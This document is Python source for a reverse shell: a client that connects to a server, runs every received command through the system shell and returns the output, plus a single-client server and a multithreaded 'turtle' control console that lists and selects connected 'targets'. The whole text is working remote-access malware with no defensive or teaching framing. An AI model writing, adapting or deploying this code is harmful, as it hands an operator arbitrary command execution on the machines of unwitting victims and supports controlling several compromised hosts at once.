single thread,one user
client.py

import os
import socket
import subprocess

host = '127.0.0.1'
port = 9999

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as msg:
    print("create socket failed " + str(msg))

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
                               stderr=subprocess.PIPE, stdin=subprocess.PIPE)

        output_bytes = cmd.stdout.read() + cmd.stderr.read()
        output_str = output_bytes.decode("GB2312")
        s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        print(output_str)
s.close()

server.py

import socket

import sys



# create socket
def socket_create():
    try:
        global host
        global port
        global s
        host = ''
        port = 9999
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as msg:
        print('create socket failed ' + str(msg))


# bind socket
def socket_bind():
    try:
        global host
        global port
        global s
        print('bind socket to port: ' + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("socket bind failed " + str(msg))


# accept
def socket_accept():
    conn, address = s.accept()
    print("connection established | " + "IP " + address[0] + ":" + str(address[1]))
    send_commands(conn)
    conn.close()


def send_commands(conn):
    while True:
        cmd = input()

        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), 'utf-8')
            print(client_response, end="")


if __name__ == '__main__':
    socket_create()
    socket_bind()
    socket_accept()

multithread,for multi users
server.py

import socket
import threading
import sys
import time
from queue import Queue

NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]

queue = Queue()
all_connections = []
all_address = []


# create socket
def socket_create():
    try:
        global host
        global port
        global s
        host = ''
        port = 9999
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as msg:
        print('create socket failed ' + str(msg))


# bind socket
def socket_bind():
    try:
        global host
        global port
        global s
        print('bind socket to port: ' + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("socket bind failed " + str(msg))


def accept_connections():
    for c in all_connections:
        c.close()
    del all_connections[:]
    del all_address[:]

    while True:
        try:
            conn, addrss = s.accept()
            conn.setblocking(1)
            all_connections.append(conn)
            all_address.append(addrss)
            print("\nConnection established: " + addrss[0])
        except:
            print("accept connections error")


def start_turtle():
    # handle with input cmd
    while True:
        cmd = input('turtle> ')
        if cmd == 'list':
            list_connections()
            continue
        elif 'select' in cmd:
            conn = get_target(cmd)
            if conn is not None:
                send_target_commands(conn)
        else:
            print('command not recognized')


# display all current connections
def list_connections():
    results = ''
    for i, conn in enumerate(all_connections):
        try:
            conn.send(str.encode(' '))
            conn.recv(20480)
        except:
            del all_connections[i]
            del all_address[i]
        results += str(i) + '  ' + str(all_address[i][0] + '|' + str(all_address[i][1]) + '\n')
    print('---------------Clients-------------------' + '\n' + results)


# select a target client
def get_target(cmd):
    try:
        # build connection
        target = cmd.replace('select ', '')
        target_num = int(target)
        conn = all_connections[target_num]
        print("yor are connected to " + str(all_address[target_num][0]))
        print(str(all_address[target_num][0]) + '> ', end='')
        return conn
    except Exception as e:
        print("not a valid selection "+str(e))
        return None


# connect with remote target
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(20480), "utf-8")
                print(client_response, end="")
            if cmd == 'quit':
                break
        except Exception as e:
            print("connection lost"+str(e))
            break


# create threads
def create_workers():
    for i in range(NUMBER_OF_THREADS):
        t = threading.Thread(target=work)
        t.daemon = True
        t.start()


def work():
    while True:
        x = queue.get()
        if x == 1:
            socket_create()
            socket_bind()
            accept_connections()
        if x == 2:
            start_turtle()
        queue.task_done()


# each list item is a new job
def create_jobs():
    for x in JOB_NUMBER:
        queue.put(x)

    # block unti all tasks are done
    queue.join()


if __name__ == '__main__':
    # 2 threads to consume
    create_workers()
    # 1 thread to produce
    create_jobs()